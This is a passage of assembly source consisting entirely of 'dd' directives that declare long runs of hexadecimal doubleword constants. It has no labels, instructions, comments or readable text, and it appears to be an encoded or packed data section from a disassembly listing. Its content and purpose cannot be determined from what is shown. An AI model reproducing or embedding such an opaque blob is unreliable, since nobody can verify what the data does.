6B003D90h, 20C9863Dh, 1D56138h, 0E597DCD7h, 0F748787Ch dd 831816A8h, 0CA796A00h, 32554959h, 0A98B005Fh, 0C08E4D9h dd 3300817Bh, 17E3D80h, 7A256Fh, 5CFF5D54h, 78E33803h dd 55B71900h, 48A9D8EEh, 587907BFh, 177A3060h, 97C08E4Fh dd 43BC2106h, 0B57B2300h, 6522B8DEh, 407E00B2h, 0B0C45828h dd 35F02912h, 2A67F600h, 0EC1CB75Bh, 0BDD30095h, 61BA326Ch dd 0A23BD164h, 7065A76Eh, 0D568184Dh, 6B546AC3h, 542FE5Ch dd 1C256026h, 5FADF980h, 0E5D950EBh, 0BD3A00AFh, 600C4084h dd 2004A8Fh, 55EC5323h, 0AF2E56h, 311A2BD7h, 0AC6B797Dh dd 0A8230C00h, 84D1B692h, 6622028Eh, 553F1C61h, 0AC80B3E2h dd 242DF06Eh, 0A410860Fh, 17E3E3DFh, 290FE8A8h, 3765C68h dd 7382A061h, 0DE08706Fh, 0A1C25B00h, 0CB919E79h, 65500030h dd 69A752CAh, 2401FF4Eh, 34541012h, 0FCE0F291h, 749500F4h dd 0DF014B77h, 2A002126h, 8912E102h, 0F2CD0Eh, 5B0F6419h dd 0F9D11D2Eh, 804DE30Eh, 53E06123h, 4BC8DB9Ah, 3B1807ACh dd 10E18698h, 0C49F32BBh, 0DBB9DF1Eh, 0E71A38C0h, 0B6632Bh dd 363350F6h, 48EEF1AAh, 7A00F3FAh, 43F57BCAh, 89A81Fh dd 9DF90977h, 0DDBF237Eh, 0B4BB0101h, 8111E28Eh, 0F3BEF4h dd 482A0E61h, 0EAC1CE6Ch, 0DD3A2700h, 1997C855h, 0D075242Fh dd 0C53C0070h, 10E01A14h, 0D25B5107h, 0FB50F2E7h, 7DB63458h dd 252B077Eh, 0E0F54F9Bh, 2114D071h, 3131100h, 93EA5DC4h dd 3CD19050h, 0A624CD91h, 65ED0AE7h, 48050088h, 0CE25AB8Bh dd 0F5E66A0Fh, 2FD8401Dh, 3B3548Eh, 0C1A86151h, 76F0530Eh dd 0B803F907h, 0CC5889C3h, 0F4E4F055h, 185209A5h, 74189751h dd 2700069Eh, 3416ED2h, 70D6B2h, 6A3989B3h, 0DEC5B193h dd 6CA55E05h, 0B0C0328Ch, 0AB4784h, 0AFE680F9h, 0A3DDFB31h dd 0B3DAF700h, 0DF40C269h, 6B0400B2h, 5D2083E9h, 4E079847h dd 0EF8F1095h, 8D4DC2A0h, 0C6060018h, 1F05E576h, 2D00EEDCh dd 0BCFACA9Ah, 5E5BBDh, 8EC49D3Eh, 550C3514h, 3CAE0700h dd 628044F9h, 7DB43853h, 995C9E80h, 4B84EB9Fh, 0F50BEDE1h dd 0A33FE42Fh, 0D3902275h, 5DB1A00h, 0AED232E0h, 308D0067h dd 2B184843h, 0D81DE280h, 0E040CEBFh, 5C69E94Fh, 1BAE005Bh dd 4B853A0Ah, 7AFCCF7Dh, 0FD00ADB0h, 951F73B7h, 0A038Dh dd 4E101592h, 913DFB6Fh, 2E54C0EDh, 50012D00h, 7505AD4Ch dd 707E00CBh, 0B089F052h, 3B0F956h, 102E6B1Fh, 41B8A347h dd 122FA8E0h, 9094A03Eh, 378E1767h, 0CB7E005Ah, 3CFCD1A3h dd 87163B3Bh, 86D9952Eh, 0A0B8A8B3h, 892C55h, 36ABDE54h dd 2767F46Eh, 65C4CD00h, 0D0CFBF7Bh, 0CC7F98h, 87A3554h dd 596F0AEBh, 500D5E8h, 5F2D4737h, 0A00F52h, 53C6C20Dh dd 3F7F4CBFh, 75EDBB39h, 0FF9EB900h, 6C863B29h, 67F003DFh dd 0DF6FD71h, 4BC131B7h, 0F92760E7h, 0F4852F00h, 0AE0AC976h dd 45290070h, 0B4249F8Ch, 540B7E43h, 0B36E7Ah, 2E40F078h dd 745D0080h, 52B5C58Dh, 352E4DE7h, 0B2073683h, 96110333h dd 5E30C05Ch, 271F0008h, 432D68D6h, 3D249F98h, 1D133F16h dd 0BE0056BCh, 5E0C6059h, 76007CDAh, 3BC62A81h, 0A4A2C0h dd 11929426h, 8AC30FB9h, 23041200h, 3E3259B4h, 0A9DB00DDh dd 3FF9B347h, 0EA13C378h, 0C00247Dh, 0C25C2EBh, 779600EFh dd 413B2B7Fh, 78009E6Bh, 73A261E9h, 321FA5DFh, 334EE070h dd 237964C0h, 4C7E6B00h, 44977B15h, 513D0083h, 0F1BFB654h dd 4998F7F5h, 0AF53BA05h, 0B6C563E5h, 3FE9BF80h, 0DE2B3910h dd 401F8717h, 6EFF4D24h, 0DD00E7D8h, 84CBCFF9h, 7F76ADCCh dd 0D48900A7h, 98949D7Dh, 0F471D173h, 8091833Dh, 0E6035BEFh dd 0EE420563h, 5823006Bh, 6234DD64h, 700C1D0h, 5BFE74F8h dd 0E928C98h, 0BE0CB6DFh, 0F218A240h, 87E2C679h, 9E0D800h dd 980D6088h, 0A9A0005Dh, 0B619B270h, 0D801EA10h, 6A42E3BBh dd 0DC881DAh, 0EECD0083h, 1FA27D5Ah, 4A1FC3FEh, 0C99C4F2Ch dd 0D5A71700h, 6269ABEh, 4E61373Dh, 290028A3h, 3AEE3644h dd 0E6725052h, 69D0008Ch, 0C9F6C23h, 13005CFEh, 51A5B5D8h dd 0E0C9EBh, 0F2500421h, 9C1EF84h, 0BC01FEE0h, 42F8A88Eh dd 0F9E01C97h, 51AFAE8h, 56193D4Ah, 3D48712h, 30C730ACh dd 9B622961h, 928FA903h, 0E02ECF58h, 3E33C41h, 4BCAECDCh dd 2FCAD6AAh, 54A663C0h, 2D739500h, 7444C909h, 1D340C0Ah dd 61800667h, 5FCA9100h, 7986EE71h, 3EF3E3Bh, 5B01E400h dd 0FDE8DC3Ch, 106FAF00h, 0BA3BF2C9h, 736C03A1h, 72AAAB21h dd 0B1E767F8h, 9BC2800h, 0AC412004h, 0B6CC0035h, 0FA478652h dd 0D5E0B083h, 399D7B00h, 0AD879060h, 0D0250335h, 0F0D22CD4h dd 749826ABh, 0B4004F07h, 826FC1CBh, 56F53Fh, 0D77922FAh dd 6C372A84h, 4A937E00h, 0A431BF24h, 745900D1h, 63D311E7h dd 0FA1C157Fh, 6400D7BDh, 0A5629320h, 0B570016h, 3EC729BCh dd 3B001428h, 6A49F280h, 0C3A242h, 0B6187B04h, 0ED3D7483h dd 0B7B3DD00h, 69247AEAh, 40A600CAh, 63D55EB4h, 0F200D7BFh dd 0E887970h, 0CEEE8h, 3CED0BD9h, 0ECD1740Fh, 57855600h dd 1CA8EF5Ch, 0A76300F2h, 1FCAF61Eh, 4200A29Eh, 0F3ACD286h dd 6C4DCDh, 0AA4025C3h, 0CBD71685h, 60DA2100h, 2610531Fh dd 0DDD90056h, 99DE13EDh, 700005B4h, 2387BDBh, 0B11574Fh dd 0E7201F2Fh, 2D601D00h, 0C50461D3h, 98515B18h, 18266C0h dd 0DC20015h, 61E0D035h, 0CF004511h, 0C429076Fh, 0EAE36h dd 4387481Bh, 0E6AAB970h, 0B53F9D09h, 0EFC180BDh, 0C00B6037h dd 0C094E550h, 9D00F1BCh, 6B5124DBh, 0D0396h, 4FC458Fh dd 639C2641h, 70361A30h, 0CC284Dh, 7A447888h, 433A2F3Dh dd 248FAE00h, 0D99040B7h, 80FD48CAh, 894E9208h, 0DC572801h dd 0F4E0F5E0h, 0ABF60007h, 66422E8Dh, 50137CCh, 6EDEBB56h dd 0FCC81575h, 443B00AAh, 0F6D6AFA9h, 700BDA2h, 5C8FD3EFh dd 7F8ADF60h, 0AA46015Dh, 0C0E6B3B6h, 0A533D429h, 54C1F400h dd 1BF3634Ch, 0F8A0149h, 7199FFDEh, 8591EC11h, 0EB03E00h dd 629AECFDh, 0E37800FCh, 0D3F8CA9Ch, 8C01B96Ah, 2718790Fh dd 70808663h, 0BA55C5EFh dd 3F3D45F0h, 65928032h, 67268094h, 0A3900797h, 0D65407h dd 0ACB58531h, 53846914h, 389300B4h, 0B72B3B97h, 0DF620075h dd 5C24FA82h, 0D5906CD3h, 350AAF00h, 0E7B6A857h, 0DF590063h dd 0EBE15A18h, 0CF0F43BFh, 0ACB5D6B8h, 9A7C9Bh, 0D19B3CBh dd 0ED24B7F8h, 0EC556807h, 7AE04623h, 0D4875Ah, 1D1F8312h dd 0F2E321D1h, 91D0C600h, 0E58D8137h, 0F45071Eh, 30DF7611h dd 0A052F9D4h, 0B28C1B00h, 0E73FFA51h, 89E80081h, 10DD8B4Fh dd 0D2005F3Ah, 8427F3A3h, 7F16AC1Eh, 0B1290001h, 9C512B66h dd 4B1CC556h, 6F40A0E1h, 39FBC43Dh, 32B8005Fh, 469304C0h dd 0E8E2E9BAh, 0B9EC5Ch, 2E15B5C9h, 4D59D8h, 0B7BB7879h dd 6EDFB337h, 0DCF65C00h, 0BA1F09B8h, 42110012h, 6105C2FBh dd 0F8000E98h, 0EE302BEBh, 0B9D5Ch, 0C1DC16DBh, 0CA2D1088h dd 69043900h, 0F7820ED9h, 0C2AE00A2h, 0C08ED6E3h, 0A10F6524h dd 80F64A8Ch, 0B4C5FE92h, 0A51338D2h, 4127C480h, 6D3FF7FDh dd 0C612DE00h, 0A4B89994h, 328B1CE3h, 258FC048h, 0BC8C20DDh dd 82735A00h, 0BD4719A0h, 0EF1700F0h, 35400269h, 0D300D913h dd 53A2C4D5h, 191425h, 320BB1C0h, 0CC5DDEEFh, 1F8D1800h dd 0E5900C2Ch, 21F800C6h, 0C7934AEBh, 62077350h, 0D04DB1A8h dd 0C42F5670h, 98DE00C5h, 86CA03FCh, 4E04810Eh, 0D7455239h dd 0DCF81080h, 0B871003Ah, 0EEA370BBh, 517C7DB1h, 7AC0D40Eh dd 8AD140D2h, 78CF7715h, 472E00E8h, 69B4E414h, 7200E23Ah dd 0D4F25835h, 1681C0EDh, 0AE7A82A0h, 0CDDFC600h, 521261h dd 56DCE9ADh, 80CCAF70h, 40D4E103h, 0C0AE0C44h, 1AA546Bh dd 0D8B0C394h, 0D86DCAB7h, 6205CBA1h, 3224F65Eh, 95C9380h dd 5BAC3A33h, 46020803h, 0C5C00FD7h, 0E00079E6h, 0EE700456h dd 3D1884Eh, 0E7315CAFh, 198042FFh, 0FCE04C86h, 6DC0DC00h dd 0E6E9AAA1h, 0CB8E3C9Fh, 8058BD1Eh, 39E58540h, 0FB0008AFh dd 86E47A60h, 0BD663Bh, 49C2DAEDh, 90635273h, 0C4C90618h dd 325A910h, 0AE96DADh, 0C0004EF0h, 80BCA3E2h, 645746h dd 18405A2h, 1A238ACDh, 7D6BB500h, 24D80DC1h, 13DA01F4h dd 794D293h, 0F837E5E1h, 6407F131h, 0D4A42F5Bh, 7C6F7740h dd 62BF01ABh, 16188451h, 22BEE0E2h, 8E11F139h, 0E72E6CD5h dd 96F39F03h, 0A90198F2h, 157A005Ch, 2EF88AFDh, 5800F5C2h dd 62D4774Ah, 0E6E7579h, 4BF99464h, 6523EECEh, 0A4880E16h dd 0F6F2FF34h, 2D4DA103h, 0D8B387FEh, 71CE82h, 9026955Bh dd 2E58EDDEh, 0E1AC0300h, 0BFF88161h, 99645039h, 0BEA51C4Eh dd 65D88051h, 0E08C967Ch, 569EE52Dh, 396707C2h, 0A701C0D2h dd 6E00656Dh, 0C4A2AFC6h, 6C58Fh, 0EE098AB4h, 3B5870FAh dd 5B4D8100h, 822C9A54h, 0B2C11C13h, 0EF803BEAh, 0F217E6FCh dd 49285D64h, 2607EC7Eh, 20C447ECh, 86072560h, 0A51D016Ah dd 4EC2A713h, 80F8D0EAh, 0CF734407h, 21A049B4h, 0C6D3FAh dd 0CBA9580Fh, 286BD81Bh, 7D9E5212h, 0AC4F5300h, 1C21062Dh dd 4007EF73h, 5150DE84h, 0B00C601h, 2A23922Eh, 1EC8C176h dd 3B253086h, 0F6DA9880h, 2FA8CAACh, 3031490h, 43D93B3Fh dd 5CB07967h, 8A027ED0h, 14ECDB44h, 40590340h, 136C2C1Eh dd 205ADECEh, 80579E68h, 80FFEBFDh, 7CAAB29Bh, 51A2076Ch dd 0C3F84A2Dh, 3BC1E54Bh, 44FDD827h, 0AA601900h, 0E44FEB48h dd 247B1F23h, 80F51ECEh, 69AE82A3h, 0B800F8ABh, 816F8F29h dd 30FA94D8h, 0C7203526h, 400049D2h, 3218756h, 32CA5D3h dd 0CC580C62h, 67B0071Bh, 0B800798Bh, 7312F843h, 23A636h dd 559EDEFh, 0AE112ABBh, 0C88C2501h, 9F644CA1h, 1EF16FC0h dd 0C070B2C0h, 92588FB5h, 0AF00CFB6h, 68444ED7h, 0C7F487h dd 26F8804Ah, 8600529h, 4DCC2201h, 0E290DB02h, 0F0C25CE8h dd 0F8E80097h, 3D1486A1h, 1D7BECF3h, 9391D60Ah, 5700B494h dd 3A99E17Dh, 0CB23AB8h, 0BB59B80h, 38E7EE93h, 2D006A71h dd 3F67BF31h, 0DC26B9h, 4243EDE6h, 0C20EC81Ch, 0F067400h dd 7A7C5523h, 0F8130334h, 3FD09544h, 0C1ADCE88h, 0BB9BDF00h dd 917909D1h, 0E2AF071Ah, 8005D7F3h, 50A6F76Fh, 1EFFF400h dd 8C8DE34Fh, 935E009Ch, 0C18AA9CDh, 0B303ACAEh, 3A04B82Ch dd 0D831D395h, 1C0A2140h, 80BDD988h, 5F9B09D0h, 0F000EFFEh dd 0B75AD54Bh, 7867A934h, 3D0D71E0h, 2E80F128h, 0E92F79Ch dd 0DAE62A8Bh, 0DC1D9D00h, 0E208C972h, 0EAE900F0h, 222F0FB5h dd 4500E356h, 27B73484h, 0A03BCCh, 63F2EC6Ch, 406F3F52h dd 0B5E7A900h, 19CD561Ch, 3D5F72E5h, 0C183498Dh, 636615D6h dd 0C48206B0h, 96003AF0h, 48192CCh, 20F9DAh, 0CF556002h dd 3D721B89h, 0C341BF00h, 0CA283239h, 0E2D8E435h, 2F9C032Bh dd 8C777DB7h, 0E058FAC8h, 0B8670C00h, 485CCC62h, 1BF23C57h dd 61C80801h, 0D43A8E1Dh, 463C907Eh, 19302A6h, 0E003D65Ah dd 0FCAD65h, 6F3831A1h, 0D13F06BFh, 1C849C03h, 8893E286h dd 7AC1839Ah, 0FDC600A3h, 0AED83494h, 0E9032617h, 0B03D4570h dd 0DC18003Ch, 92BDD6DAh, 0F9002457h, 9172B19Dh, 0FE6F6CC7h dd 68B8BEh, 0E5659845h, 0C633DAB6h, 3AC5BD01h, 47917751h dd 11F30D4h, 530AC70Dh, 0C35D7254h, 9B4A4D80h, 5507F8F2h dd 1A88979Eh, 37008C07h, 774E059Ch, 0E1D40387h, 31564FF3h dd 0C4139FD1h, 0C700072Fh, 35EE08A8h, 3BC9D8h, 333A2152h dd 0F92C3E85h, 0E02D8900h, 10F7991h, 35161D14h, 0DD429DFCh dd 9C481C8h, 20EF564Dh, 8200D458h, 0CF9FD698h, 0BFB86Ch dd 0B68B218Eh, 189D47C3h, 0BE103101h, 0E0FCF9B4h, 0FD60C0EDh dd 33EB0056h, 81CD5755h, 0D5000882h, 77FA4BB5h, 1298ACE0h dd 4FD842h, 2FB275D8h, 0FE7F0537h, 50002B90h, 25047B7Ch dd 31EBCA6h, 0B890032Ah, 0EDC909CAh, 0EBF8F370h, 0E4127955h dd 0D51F7887h, 2FE03180h, 695692h, 9B95E7C5h, 7F72572h dd 97FE4600h, 0C0FA6B9Ah, 99E62E62h, 3DD507DBh, 6E796017h dd 8F1FB614h, 78C0C724h, 0E057E5C6h, 418700D4h, 40A306DEh dd 0FE0E9793h, 0E0687408h, 957DB519h, 459E0046h, 5CBC4ADh dd 2C00208Bh, 83E9CD11h, 176106F9h, 452699h, 34AA9D01h dd 0FE054B7Fh, 3C6BD016h, 0CE1280BAh, 8738C9C0h, 0DF1580E3h dd 8C8F2524h, 0D77D3FA3h, 0A1859404h, 60C780ADh, 4900A868h dd 0F0325516h, 2D6CC2h, 806F61D0h, 470F399Ch, 9FA87900h dd 0B63B962Ch, 658F0114h, 0DFAF5272h, 312A2045h, 0AEDCCB00h dd 3C531B3Eh, 1E53BD9h, 0A89D689h, 0BDFACA00h, 44609B85h dd 75E82731h, 90720336h, 97E01054h, 0DB21181Fh, 803F0B1Eh dd 19BA49DCh, 1B647ABh, 877E029Eh, 717A08A7h, 0E488C04Bh dd 0B853FE00h, 31035EE6h, 0F9040EFAh, 2B404BB0h, 0F064E198h dd 0A7F76E00h, 0C5970AEDh, 23E06Ch, 0BB354F94h, 849AA0DAh dd 7139000h, 0BF6BE2EAh, 69750046h, 0E6962389h, 4500049Ah dd 0F2639BDBh, 0E807D8E3h, 0DFAC076Eh, 0C0CC3770h, 295E3A64h dd 0A10071E8h, 192F5117h, 0B0FB594Fh, 0D613B4Ch, 4AE18700h dd 0DC7A973Dh, 7C1A2700h, 20AD36A6h, 658E007Eh, 60F47747h dd 970061A4h, 0ECD068F0h, 29C55Ch, 0F54734D5h, 1FBC0A0Ch dd 6FE83200h, 65AC583Dh, 6705728Fh, 1033CCEEh, 0C6B169A6h dd 0C3F05200h, 91F9F2FBh, 806B3B1Bh, 3BF67F73h, 45803AADh dd 236133CFh, 860076FCh dd 26DAD52Ch, 0B3692Fh, 670FBC77h, 0F594B108h, 5951D300h dd 58C4EDCBh, 0DC4503C5h, 63A5D836h, 62B9F690h, 0BC29350Ch dd 73A62171h, 28E00FAFh, 0E12777D7h, 0CE0AE048h, 0D3009D0Dh dd 641D13ABh, 0F84CCDh, 42B462C8h, 0EB186AAEh, 22EC7CFCh dd 0C6FB3A0Ch, 58381024h, 0C700A9BAh, 0EF525C20h, 0A4E85718h dd 0AF7C70C0h, 0C67422Fh, 4CF0BE4Ah, 318A588h, 2B20AEF1h dd 0C004000Ah, 0D8B8BD71h, 6400DDA8h, 0E5117817h, 0C5C2E079h dd 0C0505828h, 39A3504h, 8479B078h, 9C6DFF03h, 5997D3h dd 8E5B5570h, 0B431DC0Eh, 0E83F8003h, 0C8EADE53h, 0DCE0BEF9h dd 0BD9ACC18h, 7660FFF0h, 0E8D826A9h, 51D60736h, 905EF1CFh dd 2DC0420Dh, 9B415600h, 0D3CC28AFh, 80880B20h, 0DD80C932h dd 6D0EA3D4h, 5D288CA0h, 10E23430h, 0E1E4DDh, 0FE64195Bh dd 0FA60447Ch, 898AB801h, 5DE61855h, 3C4CDD5h, 0A7300038h dd 2E4312F9h, 0DE009BFDh, 1ABA48E0h, 0FB06025h, 0AB8293B5h dd 438B0C20h, 0F3E45F6h, 0CE007B53h, 8F204F6Ah, 7F2765E6h dd 0A26D0F25h, 0F1006292h, 0B83D4B05h, 6F20FE00h, 7F3B2517h dd 186102EAh, 6646E25Ah, 0D1ED12C0h, 0FF008E7Ah, 81F065AAh dd 11E7DECh, 0D77643A0h, 0DC2017B5h, 96011018h, 348771C9h dd 0B4D8EE5Ch, 304985Eh, 0A78653A2h, 64E043D3h, 948BCE9h dd 4B1600D4h, 0B5BDA59Eh, 0A6860007h, 962A9001h, 0AF030DB7h dd 99CE71D4h, 6A6EC07Dh, 0F470003Fh, 0DFEDBCE5h, 4B12174Ch dd 5013F81Ah, 0D960D819h, 0B385044Ah, 46183ADEh, 2304BF04h dd 2E5D7014h, 2BFD95F0h, 27C1E00h, 982F1BA6h, 0ECF4B8h dd 8C463BE7h, 483AE661h, 181348h, 18282363h, 0CAE75FCh dd 51534AE0h, 82005650h, 54B86325h, 3C6CE845h, 583B40A9h dd 0C605201h, 806AF118h, 5017020h, 0A7346B64h, 8EF90820h dd 41D3A4C0h, 3ABC0048h, 9B2354E6h, 2A60473Bh, 9DD7FEC8h dd 517A00B8h, 0DAAC7F8Bh, 8A0B7CDh, 90FAD83Dh, 6798D400h dd 65521A28h, 2A8E0192h, 0A068B8C6h, 980F6015h, 0A581DB02h dd 8002348Fh, 0EF7B0490h, 61210E65h, 834ABC50h, 4EBD1E97h dd 0A3403479h, 7B0BD3FFh, 68A1FD12h, 9FAA0Eh, 0E949CFB9h dd 85110753h, 50B77AEEh, 0E648704h, 32438D07h, 60CCECF2h dd 71A70352h, 0C486F9Fh, 9F255EC1h, 2068BE48h, 3104A975h dd 86BD746Ch, 3368A97Ch, 0B24720B0h, 0AFDFC450h, 0C46B476Ah dd 80295A9Dh, 51EFC5C0h, 43363Bh, 0C0A30EFDh, 0EC8067B4h dd 0E1A80D07h, 808FA27Eh, 9B7D6A0h, 4BEB0E39h, 0DDA3C11Dh dd 2EA98027h, 886C0ADh, 0F0EC400h, 99981683h, 0EE7C064Bh dd 18C30ADCh, 76F7CB2Eh, 80D0300Fh, 0C6525A49h, 1E0A158Fh dd 0F6012001h, 0E3DF7AA6h, 0F2880A82h, 1256A683h, 67EFE0ADh dd 320F0018h, 3624D8A8h, 73008622h, 0DB53D584h, 0B9004AEh dd 7ACFD62h, 0AFF63303h, 0E764AAC1h, 70C57FC1h, 400B139h dd 0F8DE7E47h, 0ADE7E968h, 603E8820h, 0C1F7D070h, 3F550E5Eh dd 2096F28Fh, 8A593111h, 12E826C0h, 0B440A2BDh, 0E0C22147h dd 143C0DE2h, 553780C0h, 47C73633h, 2F7584D2h, 7E005B28h dd 0D41EDF81h, 22275511h, 0B08B2EEh, 41E1580Ah, 1C1CA9C9h dd 1060EEB6h, 0A8673532h, 983342B5h, 5755F840h, 0DEC56079h dd 0F2C00009h, 0E7373C2Ch, 6178FF00h, 0AF4D7134h, 0F9C401C9h dd 4C91DF41h, 5FFDF81Bh, 6CA92500h, 8CC22682h, 0DE2004Dh dd 9E90605Ch, 5E074943h, 426D8D05h, 9CC0202Ah, 474D1434h dd 6B31C488h, 0FDF08338h, 0E1878E23h, 0B6BA265h, 0C0B3A602h dd 80356C64h, 4B327821h, 45859A49h, 860703Dh, 89154878h dd 0E020C9CCh, 856B6CD5h, 47F7BA87h, 797C8724h, 62508287h dd 8158CD5h, 427168ADh, 8511A7C8h, 6A52D140h, 0CD27006Dh dd 8263B5CBh, 0A20F2CB0h, 0A50B0Ch, 9966E279h, 7DC303A0h dd 3B1BAA61h, 0C5341900h, 49DB61Ch, 21203CBEh, 46296502h dd 20980B15h, 8E117356h, 0B9F29A20h, 96B20116h, 418F26E0h dd 1D081FBEh, 80EE5502h, 81D30496h, 101BF48Fh, 0F18A3AE3h dd 0A0141h, 0E1CA96CDh, 0ADBC524Bh, 60719440h, 0B7FA8FB0h dd 88204F57h, 9A0258B5h, 51EAB104h, 0C97CA7BFh, 266A9688h dd 3D5C7FA2h, 86ED3301h, 0EE737EA0h, 20586BE1h, 0CEF64404h dd 93C4F601h, 59666CB1h, 0A4211880h, 4C9C099Ah, 0B6D9B000h dd 664D77CEh, 820AC82h, 0A1B41BF9h, 0C2A74354h, 62922DE7h dd 10203675h, 0B06297FBh, 23F2D77Dh, 8EBAABAh, 68504076h dd 0FDEC1127h, 964BF2E6h, 25EC0A20h, 0F060564Ch, 6542FFEFh dd 6D07AC0h, 958FB137h, 0E51CA043h, 9180C095h, 901E7E9Eh dd 2CC65E2Ch, 0C4A7F247h, 0F204F90h, 0BA178F55h, 4C300C2Dh dd 54D110A7h, 42CEA887h, 3580864h, 0D8DB01E6h, 3342CBF6h dd 15A90248h, 3E881C7Eh, 0C86CA526h, 1C8AA450h, 0AB060B94h dd 3C09C420h, 652B1F9Eh, 7DE7E3BCh, 508824A8h, 624908C2h dd 274C80E8h, 8FA9FFC6h, 482D1593h, 714A4081h, 1FAA097Fh dd 46685108h, 5C4D05Bh, 1040AF17h, 0BC30F029h, 93122377h dd 20708DE5h, 83796DEh, 9AC43DE0h, 0D03D94FBh, 8823165Ah dd 0CBA5E498h, 99F40088h, 0DBD9AF1Eh, 5D8A8FC2h, 5E512068h dd 47EFCFC8h, 28F9C4BAh, 98020C28h, 0ABCC330h, 0B1583E93h dd 8031F008h, 0A9F4238Dh, 4070F5E5h, 8F1992Bh, 0BB71CC4Ah dd 164690F8h, 730AFFE7h, 67B9EEC8h, 2C405E20h, 3978E809h dd 4E9F11D0h, 28EDF1BCh, 7702204Ah, 0BE4CDFAAh, 4001573Eh dd 4B98EE00h, 932759B4h, 3C05928Fh, 2B08E840h, 0F8A7C46Eh dd 60A52AF1h, 20A5F1Ch, 35F120B4h, 812080A3h, 679E64F2h dd 49101FBEh, 8002A401h, 655DD0DFh, 2DD96400h, 7B254081h dd 1F941CF9h, 6BE0BD21h, 0AFF578A8h, 911140h, 7E818A4Fh dd 0C9B083h, 40607396h, 0EE77182h, 0BAC8B500h, 62AC04E0h dd 7ACA3325h, 54B0FC51h, 2000C215h, 0E6514278h, 3738119h dd 7A9EC9E8h, 0BCC053B0h, 4D016FBBh, 0C550E289h, 7C2043F0h dd 316217ABh, 53F8053Fh, 4838C4C1h, 0C0D37E20h, 804AE8Bh dd 35E3F1FAh, 910AAA06h, 0F2AC0C19h, 50F86607h, 0CAD0D18h dd 3009F970h, 0B8314568h, 923A85EDh, 5C4F3C32h, 91A000C0h dd 0EEA702E1h, 177C2CC4h, 0C25300B0h, 65738243h, 58662400h dd 0AD2B5581h, 9DDF0F6Bh, 92A0D82Ah, 0F1BD90A7h, 2D175FFEh dd 400ABA2h, 0B7619329h, 0B068501Dh, 80E67216h, 36676ED2h dd 0F4255758h, 9DB5F8C0h, 8DFA2E05h, 14D61DA8h, 4980C899h dd 442927Ch, 94D8462Ch, 280B8C26h, 0FF9400EAh, 330A4E48h dd 74688968h, 0C8F465F1h, 4CE2B9ACh, 1F5C600h, 0C90A52CDh dd 0B198036Ch, 9E8F9FC7h, 83E68000h, 1C9431ABh, 4A6C0F24h dd 0EC219266h, 20778547h, 0E900E077h, 0EE14196Dh, 0F872A1h dd 53C2447Eh, 236B81ABh, 26FF5C00h, 5EB8A725h, 0F1EC602Dh dd 73F9612Eh, 0C9F17700h, 79B2F620h, 0ED2D008Dh, 0E1C74CCBh dd 61E52E0h, 340FC861h, 25550094h, 3E7E410Dh, 5F3E2904h dd 0F218E638h, 132C30C6h, 35415803h, 0C3DFE48Bh, 0F1CDE0C8h dd 6ADA0175h, 0CBFAC6E7h, 43CF11F6h, 3FC4E4h, 553D2AC1h dd 350296EBh, 0A1492E06h, 0A0D3A0h, 0BD6EDA69h, 89E1ADE0h dd 0E2845F01h, 0DC6BF201h, 14287880h, 179BE71Ah, 0E3CCCA0Fh dd 0BED26025h, 0F9E20Eh dd 0B8A1629Ch, 7ECAE165h, 1C4C8F00h, 3DFACFA3h, 37B039Eh dd 7786E573h, 0E3122ED0h, 355D4F0Ch, 0D1F850h, 5F305983h dd 90C96560h, 0CE30E47Dh, 6C3F81DDh, 0D88D07F7h, 86E5DFFAh dd 0C80118C3h, 0C4D383A2h, 7CFFCABEh, 0E47B01C0h, 6D66D9B4h dd 17906007h, 746B9902h, 8001C6FBh, 0F70AD580h, 0F961C071h dd 486EB172h, 4083DF0Ch, 0F85B18EAh, 99BB0EA7h, 1C4AED82h dd 0CF8D8CDCh, 7603C839h, 0FD44C89h, 0E48AE07Ah, 5328072Eh dd 0E5F9E0DBh, 985040B9h, 8674F615h, 50019CE2h, 82172A7Fh dd 2098C54Ah, 2CE7783Ch, 0A6DDB0Ch, 67D0E3h, 0A411E53Ah dd 55C13E2h, 4CD4DE55h, 0A7733F0Ch, 61707B54h, 71BA8114h dd 50F603F0h, 0E005D644h, 245F75B2h, 2CED1Ch, 0FEDDC02Bh dd 0EE48303Fh, 714E0F5Ch, 0B31781FAh, 2FF018ACh, 0C3F9DEF1h dd 18E5B1Ah, 3036469Fh, 0F2DD9104h, 4890EBEAh, 6519D76h dd 8DD15EACh, 0F2098070h, 0E7993Fh, 0AE1A1270h, 241E4951h dd 434D2B00h, 9BAC642Eh, 8241477h, 16026C2Dh, 414FD710h dd 0B848E610h, 0CED10050h, 62C9EC93h, 0D22426A7h, 6380B421h dd 4755C705h, 2DE1C768h, 0B45F8185h, 9B1080F1h, 345D4CC0h dd 67090DBh, 12F86815h, 0E01E1A08h, 53925CC4h, 0B3F93400h dd 0CF4283E7h, 0AC34EBA8h, 0CE51DF03h, 0F009ED5Fh, 87260F17h dd 8D3FF7D4h, 1884A973h, 48C6245Eh, 0B92A67E7h, 10DB7011h dd 48EF5769h, 178EC14h, 4E44D111h, 85903C5Fh, 0C8FB33A8h dd 81508C03h, 0CA00EFACh, 24589962h, 8F3038A1h, 109DB2Dh dd 4A258420h, 40DD9748h, 0C4DA20FEh, 4490B819h, 2F40C95Fh dd 0E04C24E8h, 903F2909h, 8258A26Ch, 0E3812008h, 0D8A34A3Bh dd 525D51B8h, 4FC1DB60h, 9091C240h, 249C5280h, 2565CB83h dd 638340E4h, 81DB3AACh, 779048DEh, 8A92FB10h, 862C3043h dd 64A83017h, 31F8516Ah, 0A276B905h, 8030C8C4h, 88C701E7h dd 8C98D7C3h, 4C9CF24h, 0F5DFC08h, 40E48099h, 0A4448030h dd 49124454h, 2C008897h, 4B7E38BAh, 0D288C084h, 295F46CDh dd 8E0FD60h, 640D4254h, 83C7C02Ah, 7ABBEAB0h, 2355E802h dd 90DA734Ah, 42BB9C3Ch, 0A1240801h, 79C76117h, 463708F1h dd 0A1E53A85h, 295D0890h, 684FFAC7h, 0DB63842Eh, 0E8A831A3h dd 38347852h, 0DF787CB7h, 8C92B388h, 42EFF93Ch, 63C2128h dd 0BE3CF50h, 0E030F02Ch, 4ED931D3h, 98848292h, 0E010D0EFh dd 76E2FD5Ch, 30879B29h, 0C298D09h, 22A33190h, 0B60C42DBh dd 21676C40h, 0AEB802DFh, 0A0D08382h, 74639CB0h, 30A75386h dd 652C1111h, 9C70DDC0h, 844017A6h, 10D87F57h, 0B8C483ACh dd 7263619Ah, 7D8E1F0Ch, 35478641h, 6D49E11h, 0D2DB2ABh dd 12DC9A68h, 4ADCE94Ch, 50F4F99Ch, 29843E95h, 0E58DE37h dd 8210E43Ch, 181A8D04h, 5786DCE3h, 110F457h, 